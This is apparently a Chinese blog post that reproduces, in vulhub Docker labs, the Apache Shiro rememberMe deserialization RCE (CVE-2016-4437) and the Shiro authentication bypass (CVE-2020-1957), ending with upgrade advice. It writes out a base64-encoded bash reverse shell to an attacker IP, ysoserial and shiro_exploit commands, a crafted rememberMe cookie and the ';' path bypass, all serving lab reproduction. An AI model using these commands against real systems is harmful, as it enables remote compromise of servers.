【漏洞复现】Apache系列(一)之Shiro漏洞复现

文章目录


Apache Shiro550反序列化(CVE-2016-4437)漏洞复现

一、漏洞描述

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。只要rememberMe的AES加密秘钥泄露,无论shiro是什么版本都会导致反序列化漏洞。

二、漏洞原理

Apache Shiro框架提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManager类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码操作。

原因分析:Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞

漏洞特征:shiro反序列化的特征:在返回包的Set-Cookie 中存在rememberMe=deleteMe 字段

三、影响版本

Shiro<=1.2.4版本,当未设置用于"remember me”特性的AES密钥时,存在反序列化漏洞,可远程命令执行。

四、(1)复现过程-使用ysoserial工具复现

项目地址:https://github.com/frohoff/ysoserial

0.环境说明

攻击机:192.168.102.181
目标机:192.168.37.128

1.使用Docker起CVE-2016-4437环境

访问8080端口查看环境是否正常实例化

cd vulhub/shiro/CVE-2016-4437
docker-compose up -d

image.png
image.png

2.使用nc监听本机端口

nc -lvvp 8899

image.png

3.将Bash反弹Shell的Code进行Base64加密

bash -i >& /dev/tcp/192.168.102.181/8899 0>&1

编码后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMi4xODEvODg5OSAwPiYx}|{base64,-d}|{bash,-i}

4.使用ysoserial.jar的JRMP本地监听映射模块

使用CommonsCollections5,本地端口监听转发为7777 (注:bash加密命令前的CommonsCollections后面数字要写5,网上的payload都写CommonsCollections4,可能是Java环境问题,CommonsCollections4一直反弹不到shell,只在Java端口监听到会话,可使用CommonsCollections1,2,3,4,5等各种方式进行测试,所以尝试更改了CommonsCollections就有效果了)

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMi4xODEvODg5OSAwPiYx}|{base64,-d}|{bash,-i}"

image.png

5.生成一次性RememberMe的值

使用Shiro550的EXP去生成一个临时并且一次性的RememberMe的值,IP是攻击机的ip,端口是JRMP映射出的端口
image.png
获得

rememberMe=nvy4OxP9ReyqQ7vzWKQZFMZcjbE0+tEt220EfbG1tIYjr0PuMfkHvRxfSHPLpfAsMfCw5n5jtxaRsHPRjpkBawHYb5fmvu35THT85HxjJRWFov5d0UP4JD/5f8s2cHlUeWO0X0W1z8hjw/M+0LjhLz6ck86cwvThBpaCjkpPS8PZeF8yi6BYszv2RGDUVOX7I9TuQKXD5vX4993qwwh7pRKuzDpCbeqKhtPCYUG/Xp3XIYmTrvtSxwTqtixcyFzAygXC1vwSudnXO9XU/iADBKd6MBIaMchx5Ss38qQDODdVI4LTarrTRi6irDycnvCWbSHVb7n1uapW6RaABYs3/3V5eqMhUKWt0YlO/qSvg0x4PhKgesAOTfocvopn6s1RtsscbosL+Uvn4YB4kl0Aww==

6.BurpSuite抓取登录的数据包

访问漏洞环境,使用BurpSuite抓取登录的数据包,然后将获取到的rememberMe追加至Cookie后(前面需要加一个;),响应内容的Set-Cookie字段里有rememberMe的key就基本上成功
image.png

7.查看JRMP和NC

返回JRMP监听映射和NC监听转发,查看Shell成功反弹,成功获取目标机权限
image.png
image.png

(2)复现过程-使用Shiro_exploit工具复现

项目地址:https://github.com/insightglacier/Shiro_exploit

0.环境说明

攻击机:192.168.102.181
目标机:192.168.37.128

1.使用命令检测是否存在漏洞

python3 shiro_exploit.py -u http://192.168.37.128:8080/

image.png

出现 vulnerable:True表示存在shiro漏洞 ,并发现了key
image.png

2.使用Shiro_exploit进行反弹shell利用

使用nc监听本机端口

nc -lvvp 8899

image.png

将Bash反弹Shell的Code进行Base64加密

bash -i >& /dev/tcp/192.168.102.181/8899 0>&1

编码后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMi4xODEvODg5OSAwPiYx}|{base64,-d}|{bash,-i}

使用Shiro_exploit进行反弹shell利用

python shiro_exploit.py -t 3 -u 目标url -p "bash加密命令" -k "上面检测出来的key"

python shiro_exploit.py -t 3 -u http://192.168.37.128:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMi4xODEvODg5OSAwPiYx}|{base64,-d}|{bash,-i}" -k "kPH+bIxk5D2deZiIxcaaaA=="

执行命令并返回NC查看,查看Shell成功反弹,成功获取目标机权限
image.png

(3)复现过程-使用集成化工具复现

image.png

五、修复建议

升级shiro至最新版本


Apache Shiro 认证绕过漏洞(CVE-2020-1957) 漏洞复现

一、漏洞描述

Apache Shiro 是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。Spring Boot中使用 Apache Shiro 进行身份验证、权限控制时,可以精心构造恶意的URL,利用 Apache Shiro 和 Spring Boot 对URL的处理的差异化,可以绕过 Apache Shiro 对 Spring Boot 中的 Servlet 的权限控制,越权并实现未授权访问。

二、漏洞简单分析

请求/xxxxx/…;/admin,在shiro中经过处理变为/xxxxx/…,与过滤器/xxxxx/规则进行匹配通过校验,成功转向后方的Spring Boot。

恶意请求/xxxxx/…;/admin通过Shiro的校验后,传递到Spring Boot中进行解析,根据Controller设置的路由选择对应Servlet,最终形成了对/admin这个Servlet的未授权访问,再返回给攻击者。

三、影响版本

Apache Shiro < 1.5.2

四、复现过程

0.环境说明

目标ip:192.168.37.128

1.使用Docker起CVE-2020-1957环境

执行如下命令

cd vulhub/shiro/CVE-2020-1957
docker-compose up -d

image.png

环境启动后,访问http://192.168.37.128:8080即可查看首页。
image.png
这个应用中对URL权限的配置如下:

@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
    DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
    chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
    chainDefinition.addPathDefinition("/logout", "logout");
    chainDefinition.addPathDefinition("/admin/**", "authc");
    return chainDefinition;
}

2. 使用BurpSuite抓取数据包

访问/admin/目录 , 回显302并跳转到登录页面
image.png

3.构造恶意请求

构造恶意请求/xxx/…;/admin/,即可绕过权限校验,访问到管理页面
image.png
image.png

4.URL请求过程

  • 客户端请求URL: /xxx/…;/admin/
  • Shrio 内部处理得到校验URL为 /xxxx/…,校验通过
  • SpringBoot 处理 /xxx/…;/admin/ , 最终请求 /admin/, 成功访问了后台请求。

五、修复建议

1.升级1.5.2版本及以上

2.尽量避免使用*通配符作为动态路由拦截器的URL路径表达式。

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值